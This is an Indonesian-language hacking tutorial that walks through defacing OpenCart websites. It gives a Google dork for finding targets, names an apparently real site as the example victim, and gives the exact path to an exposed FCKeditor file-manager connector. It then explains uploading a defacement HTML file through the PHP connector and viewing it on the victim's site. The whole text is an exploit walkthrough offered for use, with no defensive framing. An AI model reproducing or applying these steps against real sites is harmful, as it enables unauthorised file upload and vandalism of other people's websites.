dork : Powered By OpenCart site:com

"site:" terserah, yang penting support opencart

ex target: http://iphoneclone.biz/

nah kalo dh dpt trget, lngsung aj kita inject exploitnya

exploit :

admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

jadi nya gini
ex: http://iphoneclone.b...ctors/test.html


liat yg kluar, dstu trdpat tmpat upload file nya.....
connector pilih PHP
lngsung aja kita upload file html deface kita...
jika berhasil mka akan kluar alert sprti ini

Quote

"file uploaded with no errors"

kita dapat melihat hasilnya di sini.....

jejengggggg....!!!!!!

ex hasil: http://iphoneclone.biz/Alindrodepesencrypt.html

sayangnya file yang kita upload nggk bisa nimpa file sblm nya, tetapi duplikat file...file(1).html or file(2).html..

thankz....